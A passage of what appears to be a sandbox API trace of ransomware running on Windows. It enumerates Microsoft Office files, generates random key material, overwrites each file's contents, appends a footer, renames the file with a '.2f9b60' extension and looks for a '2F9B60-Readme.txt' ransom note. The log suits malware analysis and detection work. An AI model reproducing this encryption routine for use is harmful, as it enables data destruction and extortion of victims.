_Source="ORG97.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" [0097.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0097.635] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAB.SAM", cAlternateFileName="")) returned 1 [0097.635] wcscmp (_String1="PAB.SAM", _String2=".") returned 1 [0097.635] wcscmp (_String1="PAB.SAM", _String2="..") returned 1 [0097.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b868ec0 [0097.636] wcscpy (in: _Dest=0x1b868ec0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.636] wcscat (in: _Dest=0x1b868ec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.636] wcscat (in: _Dest=0x1b868ec0, _Source="PAB.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" [0097.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0097.637] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x18568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RM.DLL", cAlternateFileName="")) returned 1 [0097.637] wcscmp (_String1="RM.DLL", _String2=".") returned 1 [0097.637] wcscmp (_String1="RM.DLL", _String2="..") returned 1 [0097.637] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 1 [0097.637] wcscmp (_String1="TRANSMGR.DLL", _String2=".") returned 1 [0097.637] wcscmp (_String1="TRANSMGR.DLL", _String2="..") returned 1 [0097.637] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 0 [0097.637] FindClose (in: hFindFile=0x1cd9d850 | out: hFindFile=0x1cd9d850) returned 1 [0097.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58030) returned 1 [0097.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d510) returned 1 [0097.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a31f0) returned 1 Thread: id = 384 os_tid = 0xf30 [0090.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 0x20 [0090.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc", dwFileAttributes=0x20) returned 1 [0090.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa94 [0090.039] GetFileSizeEx (in: hFile=0xa94, lpFileSize=0x2639fe20 | out: lpFileSize=0x2639fe20*=1343) returned 1 [0090.039] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x53b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.039] ReadFile (in: hFile=0xa94, lpBuffer=0x2639fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2639fde8, lpOverlapped=0x0 | out: lpBuffer=0x2639fda0*, lpNumberOfBytesRead=0x2639fde8*=0x4, lpOverlapped=0x0) returned 1 [0090.041] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa50 [0090.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0090.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0090.042] NtQuerySystemTime (in: CurrentTime=0x2639fce0 | out: CurrentTime=0x2639fce0*=132462176959006000) returned 0x0 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x144a180b [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x168fab03 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x4e1da0ec [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x4abe841d [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x7eb9c8b3 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x12ca4efb [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x5e0e0fe8 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x545b19ef [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x78c4ece1 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x5815c1e5 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x386c3f2d [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x1d49c2a1 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x6c4eb6c2 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x6b2e1695 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x32c84802 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x3447b18b [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x4c7a4458 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x5f405170 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x3026919e [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x7f673562 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x70b0c225 [0090.042] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x2ee3a85b [0090.043] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x1fb5bbed [0090.043] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x14acefa6 [0090.043] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x4977e6f4 [0090.043] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x692b16ad [0090.043] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x3bcdf616 [0090.043] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x4b84b22f [0090.043] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x6deaef98 [0090.043] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x4d7a45d6 [0090.043] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x7678b711 [0090.043] RtlRandomEx (in: Seed=0x2639fcd0 | out: Seed=0x2639fcd0) returned 0x1f673189 [0090.053] ReadFile (in: hFile=0xa94, lpBuffer=0x1cee1e20, nNumberOfBytesToRead=0x53f, lpNumberOfBytesRead=0x2639fcd0, lpOverlapped=0x0 | out: lpBuffer=0x1cee1e20*, lpNumberOfBytesRead=0x2639fcd0*=0x53f, lpOverlapped=0x0) returned 1 [0090.053] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.053] WriteFile (in: hFile=0xa94, lpBuffer=0x1cee5a30*, nNumberOfBytesToWrite=0x53f, lpNumberOfBytesWritten=0x2639fcd4, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesWritten=0x2639fcd4*=0x53f, lpOverlapped=0x0) returned 1 [0090.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa50 [0090.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0090.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a450) returned 1 [0090.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee5a30) returned 1 [0090.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee1e20) returned 1 [0090.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0090.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0090.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9fd30 [0090.059] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0090.059] WriteFile (in: hFile=0xa94, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2639fdf0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2639fdf0*=0x110, lpOverlapped=0x0) returned 1 [0090.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0090.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e790 [0090.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0090.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0090.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85a1b0 [0090.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0090.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0090.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a210) returned 1 [0090.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0090.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0090.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97350 [0090.061] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="7f") returned 2 [0090.061] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="ae") returned 2 [0090.061] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="1d") returned 2 [0090.061] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="09") returned 2 [0090.061] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="e9") returned 2 [0090.061] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="8b") returned 2 [0090.061] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="d9") returned 2 [0090.061] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="e6") returned 2 [0090.061] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="6a") returned 2 [0090.061] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="d3") returned 2 [0090.061] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="3f") returned 2 [0090.061] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="22") returned 2 [0090.061] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="ff") returned 2 [0090.061] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="02") returned 2 [0090.061] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="5d") returned 2 [0090.061] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="6b") returned 2 [0090.061] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="14") returned 2 [0090.062] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="d6") returned 2 [0090.062] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="5f") returned 2 [0090.062] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="e3") returned 2 [0090.062] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="f0") returned 2 [0090.062] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="30") returned 2 [0090.062] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="a5") returned 2 [0090.062] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="b5") returned 2 [0090.062] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="79") returned 2 [0090.062] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="ec") returned 2 [0090.062] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="13") returned 2 [0090.062] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="e6") returned 2 [0090.062] sprintf (in: _Dest=0x1cd97388, _Format="%c%c" | out: _Dest="20") returned 2 [0090.062] sprintf (in: _Dest=0x1cd9738a, _Format="%c%c" | out: _Dest="f7") returned 2 [0090.062] RtlInitAnsiString (in: DestinationString=0x2639fe68, SourceString="7fae1d09e98bd9e66ad33f22ff025d6b14d65fe3f030a5b579ec13e620f7" | out: DestinationString="7fae1d09e98bd9e66ad33f22ff025d6b14d65fe3f030a5b579ec13e620f7") [0090.062] RtlAnsiStringToUnicodeString (in: DestinationString=0x2639fe38, SourceString="7fae1d09e98bd9e66ad33f22ff025d6b14d65fe3f030a5b579ec13e620f7", AllocateDestinationString=1 | out: DestinationString="7fae1d09e98bd9e66ad33f22ff025d6b14d65fe3f030a5b579ec13e620f7") returned 0x0 [0090.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85ba30 [0090.062] wcscat (in: _Dest=0x1b85bb50, _Source="7fae1d09e98bd9e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\7fae1d09e98bd9e") returned="C:\\Program Files\\Microsoft Office\\Office14\\7fae1d09e98bd9e" [0090.062] wcscat (in: _Dest=0x1b85bb50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\7fae1d09e98bd9e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\7fae1d09e98bd9e.2f9b60" [0090.062] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\7fae1d09e98bd9e.2f9b60", NtPathName=0x2639fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\7fae1d09e98bd9e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0090.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce10c60 [0090.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10c60) returned 1 [0090.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0090.064] NtQueryInformationFile (in: FileHandle=0xa94, IoStatusBlock=0x2639fe78, FileInformation=0x2639fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2639fe78, FileInformation=0x2639fe88) returned 0x0 [0090.064] NtSetInformationFile (FileHandle=0xa94, IoStatusBlock=0x2639fe78, FileInformation=0x2639fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0090.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bb50) returned 1 [0090.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ba30) returned 1 [0090.066] FlushFileBuffers (hFile=0xa94) returned 1 [0090.067] CloseHandle (hObject=0xa94) returned 1 [0090.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85ba30 [0090.068] wcscpy (in: _Dest=0x1b85ba30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0090.068] wcscat (in: _Dest=0x1b85ba30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0090.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0090.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ba30) returned 1 [0090.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 Thread: id = 385 os_tid = 0xf34 [0090.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e810 [0090.056] wcscpy (in: _Dest=0x1b85e810, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" [0090.056] wcscat (in: _Dest=0x1b85e810, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\" [0090.056] wcscat (in: _Dest=0x1b85e810, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*" [0090.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce582a0 [0090.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d8b0 [0090.057] wcscmp (_String1=".", _String2=".") returned 0 [0090.057] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.057] wcscmp (_String1="..", _String2=".") returned 1 [0090.057] wcscmp (_String1="..", _String2="..") returned 0 [0090.057] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0090.057] wcscmp (_String1="1033", _String2=".") returned 1 [0090.058] wcscmp (_String1="1033", _String2="..") returned 1 [0090.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85b910 [0090.058] wcscpy (in: _Dest=0x1b85b910, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" [0090.058] wcscat (in: _Dest=0x1b85b910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\" [0090.058] wcscat (in: _Dest=0x1b85b910, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" [0120.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85b910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0120.251] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0120.251] FindClose (in: hFindFile=0x1cd9d8b0 | out: hFindFile=0x1cd9d8b0) returned 1 [0120.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce582a0) returned 1 [0120.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e810) returned 1 [0120.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d610) returned 1 Thread: id = 386 os_tid = 0xf38 [0090.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat")) returned 0x20 [0090.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT", dwFileAttributes=0x20) returned 1 [0090.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa94 [0090.071] GetFileSizeEx (in: hFile=0xa94, lpFileSize=0x2698f7e0 | out: lpFileSize=0x2698f7e0*=289926) returned 1 [0090.072] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x46c82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.072] ReadFile (in: hFile=0xa94, lpBuffer=0x2698f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2698f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2698f760*, lpNumberOfBytesRead=0x2698f7a8*=0x4, lpOverlapped=0x0) returned 1 [0090.073] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aab0 [0090.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a9c0 [0090.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0090.073] NtQuerySystemTime (in: CurrentTime=0x2698f6a0 | out: CurrentTime=0x2698f6a0*=132462176959318000) returned 0x0 [0090.073] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x6cc7d41a [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x7d2dc318 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x51df0965 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x57c20cc4 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x226ed88e [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x2f2838ce [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x29d44c70 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x6ccf4102 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x643eb328 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x3c808f5b [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x53026d84 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x1d574172 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x5591c291 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x1ae1bfde [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x22757e1 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | 